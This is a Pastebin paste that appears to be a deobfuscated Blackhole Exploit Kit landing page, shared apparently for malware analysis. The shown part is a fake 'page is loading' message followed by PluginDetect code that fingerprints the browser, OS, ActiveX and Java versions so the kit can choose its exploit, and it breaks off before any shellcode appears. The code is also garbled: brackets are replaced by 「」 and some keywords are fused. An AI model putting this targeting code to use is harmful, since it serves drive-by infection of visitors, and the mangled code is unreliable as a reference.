unixfreaxjp

Slight changes in shellcode BHEK deobfs

Sep 15th, 2012
577
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 66.70 KB | None | 0 0
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  2. function end_redirect(){
  3. }
  4. try {
  5. var PluginDetect = {
  6. version : "0.7.8", name : "PluginDetect", handler : function (c, b, a){
  7. return function (){
  8. c(b, a)
  9. }
  10. }
  11. , isDefined : function (b){
  12. return typeof b != "undefined"
  13. }
  14. , isArray : function (b){
  15. return (/array/i).test(Object.prototype.toString.call(b))
  16. }
  17. , isFunc : function (b){
  18. return typeof b == "function"
  19. }
  20. , isString : function (b){
  21. return typeof b == "string"
  22. }
  23. , isNum : function (b){
  24. return typeof b == "number"
  25. }
  26. , isStrNum : function (b){
  27. return (typeof b == "string" && (/\d/).test(b))
  28. }
  29. , getNumRegx :/ 「 \ d」「 \ d \ . \ _ ,- 」 */, splitNumRegx :/ 「 \ . \ _ ,- 」 / g,
  30. getNum : function (b, c){
  31. var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  32. exec(b) : null;
  33. return a ? a「0」 : null
  34. }
  35. , compareNums : function (h, f, d){
  36. var e = this , c, b, a, g = parseInt;
  37. if (e.isStrNum(h) && e.isStrNum(f)){
  38. if (e.isDefined(d) && d.compareNums){
  39. return d.compareNums(h, f)
  40. }
  41. c = h.split(e.splitNumRegx);
  42. b = f.split(e.splitNumRegx);
  43. for (a = 0; a < Math.min(c.length, b.length);
  44. a ++ ){
  45. if (g(c「a」, 10) > g(b「a」, 10)){
  46. return 1
  47. }
  48. if (g(c「a」, 10) < g(b「a」, 10)){
  49. return - 1
  50. }
  51. }
  52. }
  53. return 0
  54. }
  55. , formatNum : function (b, c){
  56. var d = this , a, e;
  57. if (!d.isStrNum(b)){
  58. return null
  59. }
  60. if (!d.isNum(c)){
  61. c = 4
  62. }
  63. c--;
  64. e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(「"0", "0", "0", "0"」);
  65. for (a = 0; a < 4; a ++ ){
  66. if (/^(0+)(.+)$/.test(e「a」)){
  67. e「a」 = RegExp.$2
  68. }
  69. if (a > c ||! (/\d/).test(e「a」)){
  70. e「a」 = "0"
  71. }
  72. }
  73. return e.slice(0, 4).join(",")
  74. }
  75. , $$hasMimeType : function (a){
  76. return function (c){
  77. if (!a.isIE && c){
  78. var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? 「c」 : 「」);
  79. for (b = 0; b < d.length; b ++ ){
  80. if (a.isString(d「b」) &&/ 「 ^\ s」 / .test(d「b」)){
  81. f = navigator.mimeTypes「d「b」」;
  82. e = f ? f.enabledPlugin : 0;
  83. if (e && (e.name || e.description)){
  84. return f
  85. }
  86. }
  87. }
  88. }
  89. return null
  90. }
  91. }
  92. , findNavPlugin : function (l, e, c){
  93. var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  94. new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  95. for (f = 0; f < a.length; f ++ ){
  96. m = a「f」.description || g;
  97. b = a「f」.name || g;
  98. if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  99. test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  100. if (!k ||! (k.test(m) || k.test(b))){
  101. return a「f」
  102. }
  103. }
  104. }
  105. return null
  106. }
  107. , getMimeEnabledPlugin : function (k, m, c){
  108. var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a,
  109. l, d, j = e.isString(k) ? 「k」 : k;
  110. for (d = 0; d < j.length; d ++ ){
  111. if ((f = e.hasMimeType(j「d」)) && (f = f.enabledPlugin)){
  112. l = f.description || h;
  113. a = f.name || h;
  114. if (b.test(l) || b.test(a)){
  115. if (!g ||! (g.test(l) || g.test(a))){
  116. return f
  117. }
  118. }
  119. }
  120. }
  121. return 0
  122. }
  123. , getPluginFileVersion : function (f, b){
  124. var h = this , e, d, g, a, c =- 1;
  125. if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  126. return b
  127. }
  128. if (!b){
  129. return e
  130. }
  131. e = h.formatNum(e);
  132. b = h.formatNum(b);
  133. d = b.split(h.splitNumRegx);
  134. g = e.split(h.splitNumRegx);
  135. for (a = 0; a < d.length; a ++ ){
  136. if (c >- 1 && a > c && d「a」 != "0"){
  137. return b
  138. }
  139. if (g「a」 != d「a」){
  140. if (c ==- 1){
  141. c = a
  142. }
  143. if (d「a」 != "0"){
  144. return b
  145. }
  146. }
  147. }
  148. return e
  149. }
  150. , AXO : window.ActiveXObject, getAXO : function (a){
  151. var f = null, d, b = this , c = {
  152. }
  153. ;
  154. try {
  155. f = new b.AXO(a)
  156. }
  157. catch (d){
  158. }
  159. return f
  160. }
  161. , convertFuncs : function (f){
  162. var a, g, d, b =/^ 「 \ $」「 \ $」 /, c = this ;
  163. for (ain f){
  164. if (b.test(a)){
  165. try {
  166. g = a.slice(2);
  167. if (g.length > 0 &&! f「g」){
  168. f「g」 = f「a」(f);
  169. deletef「a」
  170. }
  171. }
  172. catch (d){
  173. }
  174. }
  175. }
  176. }
  177. , initObj : function (e, b, d){
  178. var a, c;
  179. if (e){
  180. if (e「b「0」」 == 1 || d){
  181. for (a = 0; a < b.length; a = a + 2){
  182. e「b「a」」 = b「a + 1」
  183. }
  184. }
  185. for (ain e){
  186. c = e「a」;
  187. if (c && c「b「0」」 == 1){
  188. this .initObj(c, b)
  189. }
  190. }
  191. }
  192. }
  193. , initScript : function (){
  194. var c = this , a = navigator, e = "/", f, i = a.userAgent || "", g = a.vendor || "",
  195. b = a.platform || "", h = a.product || "";
  196. c.initObj(c, 「"$", c」);
  197. for (fin c.Plugins){
  198. if (c.Plugins「f」){
  199. c.initObj(c.Plugins「f」, 「"$", c, "$$", c.Plugins「f」」, 1)
  200. }
  201. }
  202. ;
  203. c.OS = 100;
  204. if (b){
  205. var d = 「"Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod",
  206. 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, ""
  207. , 100」;
  208. for (f = d.length - 2; f >= 0; f = f - 2){
  209. if (d「f」 && new RegExp(d「f」, "i").test(b)){
  210. c.OS = d「f + 1」;
  211. break
  212. }
  213. }
  214. }
  215. c.convertFuncs(c);
  216. c.head = (document.getElementsByTagName("head")「0」 || document.getElementsByTagName(
  217. "body")「0」 || document.body || null);
  218. c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
  219. c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) :
  220. null ;
  221. c.ActiveXEnabled = false;
  222. if (c.isIE){
  223. var f, j = 「"Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  224. "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  225. "Scripting.Dictionary", "wmplayer.ocx"」;
  226. for (f = 0; f < j.length; f ++ ){
  227. if (c.getAXO(j「f」)){
  228. c.ActiveXEnabled = true;
  229. break
  230. }
  231. }
  232. }
  233. c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
  234. c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*(「\.\,\d」+)/i).test(i) ? RegExp.$1 :
  235. "0.9") : null;
  236. c.isChrome = (/Chrome\s*\/\s*(\d「\d\.」*)/i).test(i);
  237. c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  238. c.isSafari = ((/Apple/i).test(g) || (!g &&! c.isChrome)) && (
  239. /Safari\s*\/\s*(\d「\d\.」*)/i).test(i);
  240. c.verSafari = c.isSafari && (/Version\s*\/\s*(\d「\d\.」*)/i).test(i) ? c.formatNum(
  241. RegExp.$1) : null;
  242. c.isOpera = (/Opera\s*「\/」?\s*(\d+\.?\d*)/i).test(i);
  243. c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ?
  244. parseFloat(RegExp.$1, 10) : null;
  245. c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  246. }
  247. , init : function (d){
  248. var c = this , b, d, a = {
  249. status :- 3, plugin : 0
  250. }
  251. ;
  252. if (!c.isString(d)){
  253. return a
  254. }
  255. if (d.length == 1){
  256. c.getVersionDelimiter = d;
  257. return a
  258. }
  259. d = d.toLowerCase().replace(/\s/g, "");
  260. b = c.Plugins「d」;
  261. if (!b ||! b.getVersion){
  262. return a
  263. }
  264. a.plugin = b;
  265. if (!c.isDefined(b.installed)){
  266. b.installed = null;
  267. b.version = null;
  268. b.version0 = null;
  269. b.getVersionDone = null;
  270. b.pluginName = d
  271. }
  272. c.garbage = false;
  273. if (c.isIE &&! c.ActiveXEnabled && d !== "java"){
  274. a.status =- 2;
  275. return a
  276. }
  277. a.status = 1;
  278. return a
  279. }
  280. , fPush : function (b, a){
  281. var c = this ;
  282. if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b「0
  283. 」)))){
  284. a.push(b)
  285. }
  286. }
  287. , callArray : function (b){
  288. var c = this , a;
  289. if (c.isArray(b)){
  290. for (a = 0; a < b.length; a ++ ){
  291. if (b「a」 === null){
  292. return
  293. }
  294. c.call(b「a」);
  295. b「a」 = null
  296. }
  297. }
  298. }
  299. , call : function (c){
  300. var b = this , a = b.isArray(c) ? c.length :- 1;
  301. if (a > 0 && b.isFunc(c「0」)){
  302. c「0」(b, a > 1 ? c「1」 : 0, a > 2 ? c「2」 : 0, a > 3 ? c「3」 : 0)
  303. }
  304. else {
  305. if (b.isFunc(c)){
  306. c(b)
  307. }
  308. }
  309. }
  310. , getVersionDelimiter : ",", $$getVersion : function (a){
  311. return function (g, d, c){
  312. var e = a.init(g), f, b, h = {
  313. }
  314. ;
  315. if (e.status < 0){
  316. return null
  317. }
  318. ;
  319. f = e.plugin;
  320. if (f.getVersionDone != 1){
  321. f.getVersion(null, d, c);
  322. if (f.getVersionDone === null){
  323. f.getVersionDone = 1
  324. }
  325. }
  326. a.cleanup();
  327. b = (f.version || f.version0);
  328. b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  329. return b
  330. }
  331. }
  332. , cleanup : function (){
  333. var a = this ;
  334. if (a.garbage && a.isDefined(window.CollectGarbage)){
  335. window.CollectGarbage()
  336. }
  337. }
  338. , addWinEvent : function (d, c){
  339. var e = this , a = window, b;
  340. if (e.isFunc(c)){
  341. if (a.addEventListener){
  342. a.addEventListener(d, c, false)
  343. }
  344. else {
  345. if (a.attachEvent){
  346. a.attachEvent("on" + d, c)
  347. }
  348. else {
  349. b = a「"on" + d」;
  350. a「"on" + d」 = e.winHandler(c, b)
  351. }
  352. }
  353. }
  354. }
  355. , winHandler : function (d, c){
  356. return function (){
  357. d();
  358. if (typeof c == "function"){
  359. c()
  360. }
  361. }
  362. }
  363. , WLfuncs0 : 「」, WLfuncs : 「」, runWLfuncs : function (a){
  364. var b = {
  365. }
  366. ;
  367. a.winLoaded = true;
  368. a.callArray(a.WLfuncs0);
  369. a.callArray(a.WLfuncs);
  370. if (a.onDoneEmptyDiv){
  371. a.onDoneEmptyDiv()
  372. }
  373. }
  374. , winLoaded : false, $$onWindowLoaded : function (a){
  375. return function (b){
  376. if (a.winLoaded){
  377. a.call(b)
  378. }
  379. else {
  380. a.fPush(b, a.WLfuncs)
  381. }
  382. }
  383. }
  384. , $$onDetectionDone : function (a){
  385. return function (h, g, c, b){
  386. var d = a.init(h), k, e, j = {
  387. }
  388. ;
  389. if (d.status ==- 3){
  390. return - 1
  391. }
  392. e = d.plugin;
  393. if (!a.isArray(e.funcs)){
  394. e.funcs = 「」
  395. }
  396. if (e.getVersionDone != 1){
  397. k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  398. }
  399. if (e.installed !=- 0.5 && e.installed != 0.5){
  400. a.call(g);
  401. return 1
  402. }
  403. if (e.NOTF){
  404. a.fPush(g, e.funcs);
  405. return 0
  406. }
  407. return 1
  408. }
  409. }
  410. , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv :
  411. function (){
  412. var d = this , b, h, c, a, f, g;
  413. if (d.div && d.div.childNodes){
  414. for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
  415. c = d.div.childNodes「b」;
  416. if (c && c.childNodes){
  417. for (h = c.childNodes.length - 1; h >= 0; h -- ){
  418. g = c.childNodes「h」;
  419. try {
  420. c.removeChild(g)
  421. }
  422. catch (f){
  423. }
  424. }
  425. }
  426. if (c){
  427. try {
  428. d.div.removeChild(c)
  429. }
  430. catch (f){
  431. }
  432. }
  433. }
  434. }
  435. if (!d.div){
  436. a = document.getElementById(d.divID);
  437. if (a){
  438. d.div = a
  439. }
  440. }
  441. if (d.div && d.div.parentNode){
  442. try {
  443. d.div.parentNode.removeChild(d.div)
  444. }
  445. catch (f){
  446. }
  447. d.div = null
  448. }
  449. }
  450. , DONEfuncs : 「」, onDoneEmptyDiv : function (){
  451. var c = this , a, b;
  452. if (!c.winLoaded){
  453. return
  454. }
  455. if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs「c.WLfuncs.length - 1」 !== null){
  456. return
  457. }
  458. for (ain c){
  459. b = c「a」;
  460. if (b && b.funcs){
  461. if (b.OTF == 3){
  462. return
  463. }
  464. if (b.funcs.length && b.funcs「b.funcs.length - 1」 !== null){
  465. return
  466. }
  467. }
  468. }
  469. for (a = 0; a < c.DONEfuncs.length; a ++ ){
  470. c.callArray(c.DONEfuncs)
  471. }
  472. c.emptyDiv()
  473. }
  474. , getWidth : function (c){
  475. if (c){
  476. var a = c.scrollWidth || c.offsetWidth, b = this ;
  477. if (b.isNum(a)){
  478. return a
  479. }
  480. }
  481. return - 1
  482. }
  483. , getTagStatus : function (m, g, a, b){
  484. var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d =
  485. g.span, i = c.getWidth(d);
  486. if (!k ||! h ||! d ||! c.getDOMobj(m)){
  487. return - 2
  488. }
  489. if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1){
  490. return 0
  491. }
  492. if (l >= i){
  493. return - 1
  494. }
  495. try {
  496. if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
  497. if (!m.winLoaded && c.winLoaded){
  498. return 1
  499. }
  500. if (m.winLoaded && c.isNum(b)){
  501. if (!c.isNum(m.count)){
  502. m.count = b
  503. }
  504. if (b - m.count >= 10){
  505. return 1
  506. }
  507. }
  508. }
  509. }
  510. catch (f){
  511. }
  512. return 0
  513. }
  514. , getDOMobj : function (g, a){
  515. var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  516. try {
  517. if (b && a){
  518. d.div.focus()
  519. }
  520. }
  521. catch (f){
  522. }
  523. return b ? c.firstChild : null
  524. }
  525. , setStyle : function (b, g){
  526. var f = b.style, a, d, c = this ;
  527. if (f && g){
  528. for (a = 0; a < g.length; a = a + 2){
  529. try {
  530. f「g「a」」 = g「a + 1」
  531. }
  532. catch (d){
  533. }
  534. }
  535. }
  536. }
  537. , insertDivInBody : function (a, i){
  538. var h, f = this , b = "pd33993399", d = null, j = i ? window.top.document : window.
  539. document, c = "<", g = (j.getElementsByTagName("body")「0」 || j.body);
  540. if (!g){
  541. try {
  542. j.write(c + 'div id="' + b + '">o' + c + "/div>");
  543. d = j.getElementById(b)
  544. }
  545. catch (h){
  546. }
  547. }
  548. g = (j.getElementsByTagName("body")「0」 || j.body);
  549. if (g){
  550. if (g.firstChild && f.isDefined(g.insertBefore)){
  551. g.insertBefore(a, g.firstChild)
  552. }
  553. else {
  554. g.appendChild(a)
  555. }
  556. if (d){
  557. g.removeChild(d)
  558. }
  559. }
  560. else {
  561. }
  562. }
  563. , insertHTML : function (g, b, h, a, l){
  564. var m, n = document, k = this , q, p = n.createElement("span"), o, j, f = "<";
  565. var c = 「"outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  566. "0px", "visibility", "visible"」;
  567. var i =
  568. "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  569. if (!k.isDefined(a)){
  570. a = ""
  571. }
  572. if (k.isString(g) && (/「^\s」/).test(g)){
  573. g = g.toLowerCase().replace(/\s/g, "");
  574. q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
  575. q += 'style="' + i + 'display:inline;" ';
  576. for (o = 0; o < b.length; o = o + 2){
  577. if (/「^\s」/.test(b「o + 1」)){
  578. q += b「o」 + '="' + b「o + 1」 + '" '
  579. }
  580. }
  581. q += ">";
  582. for (o = 0; o < h.length; o = o + 2){
  583. if (/「^\s」/.test(h「o + 1」)){
  584. q += f + 'param name="' + h「o」 + '" value="' + h「o + 1」 + '" />'
  585. }
  586. }
  587. q += a + f + "/" + g + ">"
  588. }
  589. else {
  590. q = a
  591. }
  592. if (!k.div){
  593. j = n.getElementById(k.divID);
  594. if (j){
  595. k.div = j
  596. }
  597. else {
  598. k.div = n.createElement("div");
  599. k.div.id = k.divID
  600. }
  601. k.setStyle(k.div, c.concat(「"width", k.divWidth + "px", "height", (k.pluginSize +
  602. 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3)
  603. + "px", "verticalAlign", "baseline", "display", "block"」));
  604. if (!j){
  605. k.setStyle(k.div, 「"position", "absolute", "right", "0px", "top", "0px"」);
  606. k.insertDivInBody(k.div)
  607. }
  608. }
  609. if (k.div && k.div.parentNode){
  610. k.setStyle(p, c.concat(「"fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.
  611. pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"」));
  612. try {
  613. p.innerHTML = q
  614. }
  615. catch (m){
  616. }
  617. ;
  618. try {
  619. k.div.appendChild(p)
  620. }
  621. catch (m){
  622. }
  623. ;
  624. return {
  625. span : p, winLoaded : k.winLoaded, tagName : g, outerHTML : q
  626. }
  627. }
  628. return {
  629. span : null, winLoaded : k.winLoaded, tagName : "", outerHTML : q
  630. }
  631. }
  632. , file : {
  633. $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d,
  634. f, c){
  635. var b = this , e = b.$, a;
  636. if (d && e.isDefined(c)){
  637. if (!d「b.any」){
  638. d「b.any」 = 「」
  639. }
  640. if (!d「b.valid」){
  641. d「b.valid」 = 「」
  642. }
  643. d「b.any」.push(c);
  644. a = b.split(f, c);
  645. if (a){
  646. d「b.valid」.push(a)
  647. }
  648. }
  649. }
  650. , getValidLength : function (a){
  651. return a && a「this .valid」 ? a「this .valid」.length : 0
  652. }
  653. , getAnyLength : function (a){
  654. return a && a「this .any」 ? a「this .any」.length : 0
  655. }
  656. , getValid : function (c, a){
  657. var b = this ;
  658. return c && c「b.valid」 ? b.get(c「b.valid」, a) : null
  659. }
  660. , getAny : function (c, a){
  661. var b = this ;
  662. return c && c「b.any」 ? b.get(c「b.any」, a) : null
  663. }
  664. , get : function (d, a){
  665. var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  666. return (b < 0 || b > c) ? null : d「b」
  667. }
  668. , split : function (g, c){
  669. var b = this , e = b.$, f = null, a, d;
  670. g = g ? g.replace(".", "\\.") : "";
  671. d = new RegExp("^(.*「^\\/」)(" + g + "\\s*)$");
  672. if (e.isString(c) && d.test(c)){
  673. a = (RegExp.$1).split("/");
  674. f = {
  675. name : a「a.length - 1」, ext : RegExp.$2, full : c
  676. }
  677. ;
  678. a「a.length - 1」 = "";
  679. f.path = a.join("/")
  680. }
  681. return f
  682. }
  683. , z : 0
  684. }
  685. , Plugins : {
  686. java : {
  687. mimeType : 「"application/x-java-applet", "application/x-java-vm",
  688. "application/x-java-bean"」, classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
  689. , navigator : {
  690. a : window.navigator.javaEnabled(), javaEnabled : function (){
  691. return this .a
  692. }
  693. , mimeObj : 0, pluginObj : 0
  694. }
  695. , OTF : null, minIEver : 7, debug : 0, debugEnable : function (){
  696. var a = this , b = a.$;
  697. a.debug = 1
  698. }
  699. , isDisabled : {
  700. $ : 1, DTK : function (){
  701. var a = this , c = a.$, b = a.$$;
  702. if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
  703. isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0"
  704. ) < 0)) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
  705. return 1
  706. }
  707. return 0
  708. }
  709. , AXO : function (){
  710. var a = this , c = a.$, b = a.$$;
  711. return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !==
  712. 0))
  713. }
  714. , navMime : function (){
  715. var b = this , d = b.$, c = b.$$, a = c.navigator;
  716. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  717. return 1
  718. }
  719. return 0
  720. }
  721. , navPlugin : function (){
  722. var b = this , d = b.$, c = b.$$, a = c.navigator;
  723. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  724. return 1
  725. }
  726. return 0
  727. }
  728. , windowDotJava : function (){
  729. var a = this , c = a.$, b = a.$$;
  730. if (!window.java){
  731. return 1
  732. }
  733. if (c.OS == 2 && c.verOpera && c.verOpera < 9.2 && c.verOpera >= 9){
  734. return 1
  735. }
  736. if (c.verGecko && c.compareNums(c.verGecko, "1,9,0,0") < 0 && c.compareNums(c.
  737. verGecko, "1,8,0,0") >= 0){
  738. return 1
  739. }
  740. return 0
  741. }
  742. , allApplets : function (){
  743. var b = this , d = b.$, c = b.$$, a = c.navigator;
  744. if (d.OS >= 20){
  745. return 0
  746. }
  747. if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
  748. getProperty()「0」){
  749. return 1
  750. }
  751. if ((d.verGecko && d.compareNums(d.verGecko, d.formatNum("2")) < 0) &&! a.
  752. mimeObj &&! c.lang.System.getProperty()「0」){
  753. return 1
  754. }
  755. return 0
  756. }
  757. , AppletTag : function (){
  758. var b = this , d = b.$, c = b.$$, a = c.navigator;
  759. return d.isIE ?! a.javaEnabled() : 0
  760. }
  761. , ObjectTag : function (){
  762. var a = this , c = a.$, b = a.$$;
  763. return c.isIE ?! c.ActiveXEnabled : 0
  764. }
  765. , z : 0
  766. }
  767. , getVerifyTagsDefault : function (){
  768. var a = this , c = a.$, b = 「1, 0, 1」;
  769. if (c.OS >= 20){
  770. return b
  771. }
  772. if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && c.
  773. compareNums(c.verGecko, c.formatNum("2")) < 0) || (c.isSafari && (!c.verSafari ||
  774. c.compareNums(c.verSafari, c.formatNum("4")) < 0)) || (c.verOpera && c.verOpera <
  775. 10)){
  776. b = 「1, 1, 1」
  777. }
  778. return b
  779. }
  780. , getVersion : function (j, g, i){
  781. var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null
  782. , l = null, c = null;
  783. if (b.getVersionDone === null){
  784. b.OTF = 0;
  785. k.mimeObj = d.hasMimeType(b.mimeType);
  786. if (k.mimeObj){
  787. k.pluginObj = k.mimeObj.enabledPlugin
  788. }
  789. if (h){
  790. h.begin()
  791. }
  792. }
  793. a.setVerifyTagsArray(i);
  794. d.file.save(b, ".jar", g);
  795. if (b.getVersionDone === 0){
  796. if (a.should_Insert_Query_Any()){
  797. e = a.insert_Query_Any();
  798. b.setPluginStatus(e「0」, e「1」, f)
  799. }
  800. return
  801. }
  802. if ((!f || b.debug) && b.DTK.query().version){
  803. f = b.DTK.version
  804. }
  805. if ((!f || b.debug) && b.navMime.query().version){
  806. f = b.navMime.version
  807. }
  808. if ((!f || b.debug) && b.navPlugin.query().version){
  809. f = b.navPlugin.version
  810. }
  811. if ((!f || b.debug) && b.AXO.query().version){
  812. f = b.AXO.version
  813. }
  814. if (b.nonAppletDetectionOk(f)){
  815. c = f
  816. }
  817. if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
  818. e = b.lang.System.getProperty();
  819. if (e「0」){
  820. f = e「0」;
  821. c = e「0」;
  822. l = e「1」
  823. }
  824. }
  825. b.setPluginStatus(c, l, f);
  826. if (a.should_Insert_Query_Any()){
  827. e = a.insert_Query_Any();
  828. if (e「0」){
  829. c = e「0」;
  830. l = e「1」
  831. }
  832. }
  833. b.setPluginStatus(c, l, f)
  834. }
  835. , nonAppletDetectionOk : function (b){
  836. var d = this , e = d.$, a = d.navigator, c = 1;
  837. if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&!
  838. a.mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled
  839. )){
  840. c = 0
  841. }
  842. else {
  843. if (e.OS >= 20){
  844. }
  845. else {
  846. if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2
  847. ()){
  848. c = 0
  849. }
  850. }
  851. }
  852. return c
  853. }
  854. , setPluginStatus : function (d, f, a){
  855. var c = this , e = c.$, b;
  856. a = a || c.version0;
  857. if (c.OTF > 0){
  858. d = d || c.lang.System.getProperty()「0」
  859. }
  860. if (c.OTF < 3){
  861. b = d ? 1 : (a ?- 0.2 :- 1);
  862. if (c.installed === null || b > c.installed){
  863. c.installed = b
  864. }
  865. }
  866. if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()「0」 &&! c.lang.System.
  867. getProperty()「0」){
  868. c.installed = a ?- 0.2 :- 1
  869. }
  870. ;
  871. if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5){
  872. c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()「0」) ?
  873. 0.5 :- 0.5
  874. }
  875. if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5)){
  876. if (d){
  877. c.installed = 1
  878. }
  879. else {
  880. if (c.NOTF.isJavaActive(1) == 1){
  881. if (a){
  882. c.installed = 1;
  883. d = a
  884. }
  885. else {
  886. c.installed = 0
  887. }
  888. }
  889. else {
  890. if (a){
  891. c.installed =- 0.2
  892. }
  893. else {
  894. c.installed =- 1
  895. }
  896. }
  897. }
  898. }
  899. ;
  900. if (a){
  901. c.version0 = e.formatNum(e.getNum(a))
  902. }
  903. if (d){
  904. c.version = e.formatNum(e.getNum(d))
  905. }
  906. if (f && e.isString(f)){
  907. c.vendor = f
  908. }
  909. if (!c.vendor){
  910. c.vendor = ""
  911. }
  912. if (c.verify && c.verify.isEnabled()){
  913. c.getVersionDone = 0
  914. }
  915. else {
  916. if (c.getVersionDone != 1){
  917. if (c.OTF < 2){
  918. c.getVersionDone = 0
  919. }
  920. else {
  921. c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  922. }
  923. }
  924. }
  925. }
  926. , DTK : {
  927. $ : 1, hasRun : 0, status : null, VERSIONS : 「」, version : "", HTML : null,
  928. Plugin2Status : null, classID : 「"clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  929. "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"」, mimeType : 「
  930. "application/java-deployment-toolkit",
  931. "application/npruntime-scriptable-plugin;DeploymentToolkit"」, disabled :
  932. function (){
  933. return this .$$.isDisabled.DTK()
  934. }
  935. , query : function (){
  936. var k = this , g = k.$, d = k.$$, j, l, h, m = {
  937. }
  938. , f = {
  939. }
  940. , a, c = null, i = null, b = (k.hasRun || k.disabled());
  941. k.hasRun = 1;
  942. if (b){
  943. return k
  944. }
  945. k.status = 0;
  946. if (g.isIE && g.verIE >= 6){
  947. for (l = 0; l < k.classID.length; l ++ ){
  948. k.HTML = g.insertHTML("object", 「"classid", k.classID「l」」, 「」);
  949. c = g.getDOMobj(k.HTML);
  950. try {
  951. if (c && c.jvms){
  952. break
  953. }
  954. }
  955. catch (j){
  956. }
  957. }
  958. }
  959. else {
  960. if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
  961. k.HTML = g.insertHTML("object", 「"type", h.type」, 「」);
  962. c = g.getDOMobj(k.HTML)
  963. }
  964. }
  965. if (c){
  966. try {
  967. a = c.jvms;
  968. if (a){
  969. i = a.getLength();
  970. if (g.isNum(i)){
  971. k.status = i > 0 ? 1 :- 1;
  972. for (l = 0; l < i; l ++ ){
  973. h = g.getNum(a.get(i - 1 - l).version);
  974. if (h){
  975. k.VERSIONS.push(h);
  976. f「"a" + g.formatNum(h)」 = 1
  977. }
  978. }
  979. }
  980. }
  981. }
  982. catch (j){
  983. }
  984. }
  985. h = 0;
  986. for (lin f){
  987. h ++
  988. }
  989. if (h && h !== k.VERSIONS.length){
  990. k.VERSIONS = 「」
  991. }
  992. if (k.VERSIONS.length){
  993. k.version = g.formatNum(k.VERSIONS「0」)
  994. }
  995. ;
  996. return k
  997. }
  998. }
  999. , AXO : {
  1000. $ : 1, hasRun : 0, VERSIONS : 「」, version : "", disabled : function (){
  1001. return this .$$.isDisabled.AXO()
  1002. }
  1003. , JavaVersions : 「「1, 9, 1, 40」, 「1, 8, 1, 40」, 「1, 7, 1, 40」, 「1, 6, 0, 40」, 「1
  1004. , 5, 0, 30」, 「1, 4, 2, 30」, 「1, 3, 1, 30」」, query : function (){
  1005. var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  1006. a.hasRun = 1;
  1007. if (c){
  1008. return a
  1009. }
